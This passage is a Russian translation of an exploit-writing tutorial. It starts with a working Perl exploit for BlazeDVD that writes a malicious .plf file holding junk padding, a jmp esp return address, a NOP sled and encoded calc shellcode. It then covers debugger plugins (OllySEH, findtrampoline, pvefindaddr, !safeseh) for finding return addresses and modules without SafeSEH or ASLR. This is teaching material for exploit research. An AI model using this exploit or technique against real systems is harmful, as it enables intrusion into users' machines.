  • myJunk2 (A-массив) был найден в 0x0012f460 (который является esp-10). Т.е., если мы заменяли eip с jmp esp, мы можем позволить шеллкоду начаться в myJunk2 + 10 байтов (или 16 символов);

  • мы должны удалить в скрипте последние 4 байта из $junk, и добавить адрес (4 байта) jmp esp или call esp, который перезапишет RET. Мы будем использовать 0x035fb847 как пример (не показанный выше, т.к. я все еще предпочитаю вручную выбирать адреса возврата, используя memdump или findjmp, т.к. при использовании ‘findReturn’ нельзя определить модуль, которому они принадлежат …

  • нам нужно:

    • замените 1000 “A” шеллкодом;
    • добавьте по крайней мере 16 NOP’ов перед шеллкодом (я добавил 50 nop’ов …, Если Вы добавите меньше, Вы можете повредить шеллкод, который я легко обнаружил использовав memDiff).

Скрипт:

#include 
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"; #260 characters
#$junk is now 4 byte shorter
my $ret = pack('V',0x035fb847);  #jmp esp from EqualizerProcess.dll
my $nop="\x90" x 50;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$ret.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

Плагины Ollydbg

На openrce.com есть большое количество плагинов для ollydbg. Я не собираюсь обсуждать их все, а только очень важный/юзабильный при написании эксплойтов, и это - OllySEH.

Этот плагин делает поиск в памяти загруженных модулей процесса, проверяя, были ли они собраны с /safeseh. Это означает, что Вы можете использовать этот плагин, когда ollydbg присоединен к процессу. Плагин поможет Вам найти точное место в памяти с надежным/рабочим адресом возврата, перечисляя все модули, которые собраны (и те, которые не собраны - что еще более важно) с /safeseh.

Предположим, что мы нашли SEH-уязвимость в BlazeDVD5, и должны найти надежный “pop, pop, ret”. Мы можем воспользоваться ollyseh, чтобы найти все модули, которые не собраны с /safeseh, и искать pop,pop,ret инструкции в их памяти:

Список выполняемых модулей: (E)

Список safeseh модулей:

Ищите что-нибудь с “No SEH” или (что еще лучше) с “/SafeSEH OFF”, чтобы найти область памяти, в которой может находится pop,pop,ret инструкция.

Давайте проверим c:\program files\Blazevideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll

Вы могли бы использовать findjmp, чтобы найти pop,pop,ret инструкции, или ища инструкции в dll, использующая ollydbg:

Возвратитесь к списку выполняемых модулей, найдите dll и щелкните по ней два раза:

Щелчок правой кнопкой мыши и выбираем “Search for” - “Sequence of commands”.

Например, мы хотим найти pop eax, или pop <что-либо>, ret:

(попробуйте все комбинации с различными регистрами, пока не найдете нужного). Конечно, findjmp.exe будет работать намного быстрее, потому что Вы только должны были бы определить только первый регистр в pop,pop,ret последовательности (регистр второго pop был бы определен findjmp автоматически). Это намного быстрее бы указало нам на то, что у этой dll нет никакой годной для нас pop,pop,ret комбинации, и что мы должны были бы искать другую dll.

В любом случае, этот плагин может сохранить Вам много времени при написании SEH эксплойта, поскольку Вы сможете найти адерс надежного pop,pop,ret быстрее чем, в ситуации с попытками найти его в каждой из dll.

Immunity Debugger (ImmDbg) плагины/pycommands

Immunity debugger идет с хорошим/большим набором плагинов, но тем не менее Вы можете найти некоторые более полезные из них в следующих местах:

Из-за интеграции immdbg с питоном, и хорошо документированного API, Вы можете добавлять/писать свои собственные команды и плагины.

Загрузите .py файлы и поместите их в папку pycommand.

ImmDbg замечателен тем, что он содержит псевдонимы для команд windbg, таким образом Вы можете использовать в своих интересах скриптовую силу immdbg, и все еще использовать набор команд от windbg (если Вы более знакомы с командами windbg)

Findtrampoline

Этот скрипт предлагает такие же функциональные возможности, как и findjmp или msfpescan, когда необходимо найти подходящие адреса возврата, эксплуатируя классическое переполнение стека. Это позволяет Вам искать jmp , call и push + ret комбинации.

Вы можете вызвать findtrampoline скрипт, открыв окно PyCommand и выбрав findtrampoline, чтобы его запустить:

Двойной щелчок, введите регистр, который Вы хотите найти, и щелчок на “OK”, чтобы начать поиск:

Теперь ждите завершения поиска. Плагин будет искать во всех загруженных модулях jmp esp (в нашем примере) и затем покажет число найденных адресов:

Также можно ввести в командной строке !findtrampoline :

Чтобы посмотреть результаты посика, откройте окно “Log data”:

Чтобы увидеть, чем была найдена инструкция, выберите адрес и щелкните по нему два раза. Затем откройте окно “CPU”

Альтернативно, Вы можете использовать команду !searchcode, чтобы искать jmp esp инструкции:

(Результат укажет адрес, модуль (dll) и находиться ли инструкция в выполняемой странице памяти или не). Конечно, команда !searchopcode также прекрасно работает, но !findtrampoline будет искать все рабочие комбинации (тогда как !searchopcode требует определенной инструкции для посика)

aslrdynamicbase

Эта команда перечисляет все модули и показывает, включен ли в них ASLR. Это позволит Вам строить надежные эксплойты для таких OS, находя адреса возврата, у которых будет тот же самый адрес даже после перезагрузки системы.

Эта команда не требует никаких аргументов. Только введите её в командной строке, и смотрите на ASLR/dynamicbase таблицу для местоположений памяти, в которых включен/отключен ASLR.

Этот не только сохранит Ваше время, но также даст гарантию того, что ваш эксплойт не перестанет работать после перезагрузки системы.

pvefindaddr

Это маленький плагин, который я написал сам. Я коротко опишу следующие 4 операции (у текущей версии их намного больше):

  • p: ищит pop/pop/ret комбинации (полезно при написании SEH-эксплойтов ). Это автоматически отфильтрует модули, которые являются защищенным safeseh. Таким образом адреса, которые Вы получаете, будут не защищены safeseh. Кроме того, будет автоматически перепробованы все комбинации и поиск во всех загруженных модулях (таким образом Вы не должны будете определять регистр или модуль. Если Вы определите регистр, то плагин покажет только те комбинации, где используется этот регистр. Если Вы определите регистр и название модуля, то Вы очевидно получите все комбинации, где этот регистр используется, и только из указанного модуля (даже если тот модуль защищен safeseh!)
  • j: ищит все jmp/call/push, ret комбинации (полезен при написании эксплойтов с прямой перезаписью ret).
  • jseh: эта операция полезна при обходе safeseh защиты. (см. 6 часть данного руководства). Как и другие, эта операция будет искать все комбинации автоматически
  • nosafeseh: покажет все модули загуреженные в данный ммоент, которые защищены safeseh

Более подробно: http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/

Другие pycommand’ы и их синтаксис.

Чтобы получить больше информации по использованию pycommands, просто запустите pycommand в командной строке, откройте окно регистров, и Вы получите короткий текст помощи, указывающий параметры, которые должны быть предоставлены плагину.

Больше информации о immdbg и pycommands может быть найдено здесь и здесь

У ImmDbg есть много полезны скриптов, которые могут помочь разобраться со множетсвом проблем при написании различных видов эксплойтов.

Другие интересные вещи в immdbg

!packets позволяет Вам захватить пакеты от источника и получить функцию, которая ответственна за посылку/получение пакета. Пример: Откройте firefox и подключите immdbg к процессу. Прежде, чем запустить firefox из установленной отладчиком контрольной точки, запустите !packets

Продолжите выполнение браузера и перейдите на какой-либо вебсайт. Теперь возвратитесь к immdbg посмотрите в окно “Captured Packets”:

!safeseh

Эта команда перечислит выполняемые модули и укажет, защищены ли они safeseh или нет. После запуска !safeseh, Вы должны открыть окно “Log Data”, чтобы увидеть результат.

© Translated by p(eaz from RDot.org